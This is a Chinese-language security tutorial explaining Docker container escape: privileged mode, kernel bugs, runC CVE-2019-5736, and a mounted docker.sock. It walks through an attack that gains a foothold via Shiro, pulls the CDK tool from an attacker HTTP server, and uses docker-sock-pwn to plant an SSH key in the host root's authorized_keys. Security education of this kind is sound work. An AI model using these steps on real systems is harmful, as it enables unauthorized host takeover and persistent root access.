Docker逃逸详解(一)

admin 2024年11月26日23:21:35评论8 views字数 2996阅读9分59秒阅读模式

   渗透拿到shell之后,发现主机是docker环境,想要进一步渗透获取宿主机权限,这时候需要docker逃逸。

目前产生docker逃逸的原理主要有三种:

1、由特权模式与配置不当引起

     这种用的更多,特权模式在6.0版本的时候被引入docker,核心作用是允许容器内的root拥有外部物理机的root权限,而此前在容器内的root用户只有外部物理机普通用户的权限,使用特权模式启动容器后,docker容器被允许可以访问主机上的所有设备,可以获取大量设备文件的访问权限,并可以执行mount命令进行挂载,当控制使用特权模式的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。

    除了使用特权模式启动docker会引起docker逃逸外,使用功能机制也会造成docker逃逸,Linux内核自版本2.2引入了功能机制,打破了unix/linux操作系统中超级用户与普通用户的概念,允许普通用户执行超级用户权限方能运行的命令。

2、由内核漏洞引起(脏牛)

     因为docker是直接共享的宿主主机内核,所以当宿主主机的内核存在安全漏洞时会一并影响docker的安全,导致可能会造成docker逃逸。

3、由docker软件设计引起(runC容器逃逸漏洞(CVE-2019-5736)、Docker cp命令(CVE-2019-14271))

    比较典型的例子是docker的标准化执行引擎--runc,runc曾在2019年2月被爆出一个CVE-2019-5736的逃逸漏洞,原理是攻击者可以通过特定的容器镜像或exec操作获取到宿主机runc执行文件时的文件句柄,并修改掉runc的二进制文件,从而获取到宿主机的root执行权限,造成docker逃逸。

01 配置不当引起逃逸

1.1 常见逃逸方法

(1)Docker Remote API未授权访问

(2)docker.sock挂载到容器内部

(3)privileged特权模式启动docker

(4)挂载敏感目录(如:宿主机根目录)

1.2 举例:docker.sock 危险挂载逃逸

1.2.1 漏洞简介

通过本地docker.sock向宿主机部署后门容器,以控制宿主机。  

1.2.2 漏洞原理

     docker.sock 是 Docker 的核心通信接口,用于处理 Docker 客户端发出的请求并将这些请求传递给运行中的 Docker 守护进程。

通过它,可以执行几乎所有的Docker操作,通常位于路径:/var/run/docker.sock。比如在宿主机执行命令docker ps,实际上是docker.sock这个接口和守护进程进行通信,由守护进程返回容器状态。

     1)因为 docker.sock 提供对Docker守护进程的完全控制权,所以拥有对 docker.sock 的访问权限的用户,可以使用Docker API执行所有Docker操作,包括启动、停止、删除容器,甚至以特权模式运行新的容器。

    2)当一个容器挂载了宿主机的/var/run/docker.sock文件后,该容器内部的用户可以直接调用Docker API,与宿主机的Docker守护进程交互。容器内的用户实际上就具备了操作宿主机所有Docker资源的能力。

   3)利用挂载的 docker.sock,攻击者可以在容器内运行Docker命令。攻击者可以通过创建一个特权容器(--privileged),并将宿主机的敏感目录(如 / 或 /etc)挂载到这个新容器中。这样,新容器实际上获得了宿主机的完全控制权限,从而实现逃逸。

1.2.3 漏洞环境搭建

创建一个容器并挂载 /var/run/docker/sock 文件

docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock 镜像名称

在容器内安装 Docker 命令行客户端

docker exec -it with_docker_sock /bin/bash apt-get update apt-get install curl curl -fsSL https://get.docker.com/ | sh

1.2.4 漏洞检测

若拿到的shell为docker环境,且容器内存在以下文件则可能存在该漏洞。

ls -lah /var/run/docker.sock

1.2.5 漏洞复现

1.2.4.1 获取入口点主机权限

经典的shiro框架,直接用工具利用。

Docker逃逸详解(一)
Docker逃逸详解(一)

注入内存马或执行命令反弹shell。

Docker逃逸详解(一)
1.2.4.2 上传CDK工具

本地下载CDK工具,上传至目标服务器

https://github.com/cdk-team/CDK/releases/download/v1.5.2/cdk_linux_amd64 
python -m http.server 888
wget -c http://192.168.230.20:8888/cdk_linux_amd64 
chmod +x cdk_linux_amd64 
mv cdk_linux_amd64 cdk
Docker逃逸详解(一)
1.2.4.3 CDK探测漏洞
./cdk eva --full

发现存在 /docker.sock - /host/var/run/docker.sock sock映射

使用cdk利用socks漏洞逃逸,往宿主机中的/root/.ssh目录写ssh文件从而getshell

Docker逃逸详解(一)

Docker逃逸详解(一)
1.2.4.4 Kali生成ssh 密钥对
ssh-keygen
Docker逃逸详解(一)
1.2.4.5 写ssh公钥

在容器内部执行

./cdk run docker-sock-pwn /var/run/docker.sock "echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4fIeKiyr9hXzeKlAnu3mTgeIF2sVWtVdwF1kxhRJDXPmOVe/IxwX6e9DJ9UuNTS2FQV3za1AIm57YDlLuKYG2keOYNah9+MibItNBPgocQ2+wMIPTdhyjuI9iEkGDChxmzBBZFCWcqNED6/lnqV2cElaXSeR8rxEiAbA22FntHi4vaFGQxLkprJ3QYd4kqouGBKYbOnrFYOmdav/MDD+7/a8WXKrdhenR/4pugUiQOFn27/H8TvuKMyo/1pUDL8xTQP5Y50JM4505dkLVVcMPnnAL1jSO7bv21bbk6qbqxoIscViZcPCG98Vy46JJgKoa3q5pcpYjID4CTm32//Zz root@Attack' > /root/.ssh/authorized_keys" 通过 cdk 工具的功能模块 docker-sock-pwn,利用 Docker 套接字 (docker.sock) 的权限, 将攻击者的 SSH 公钥写入目标系统

宿主机查看 ~/.ssh/ 目录 authorized_kesy 已成功写入

Docker逃逸详解(一)
1.2.4.6 私钥连接获得宿主机权限
cd ~/.ssh;ssh [email protected]
Docker逃逸详解(一)

1.3 总结

写ssh公钥需要一定条件,需要目标宿主机上存在ssh服务。若目标主机存在计划任务,也可以尝试写定时任务反弹shell获取宿主机权限。

原文始发于微信公众号(安全攻防屋):Docker逃逸详解(一)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月26日23:21:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Docker逃逸详解(一)https://cn-sec.com/archives/3437281.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息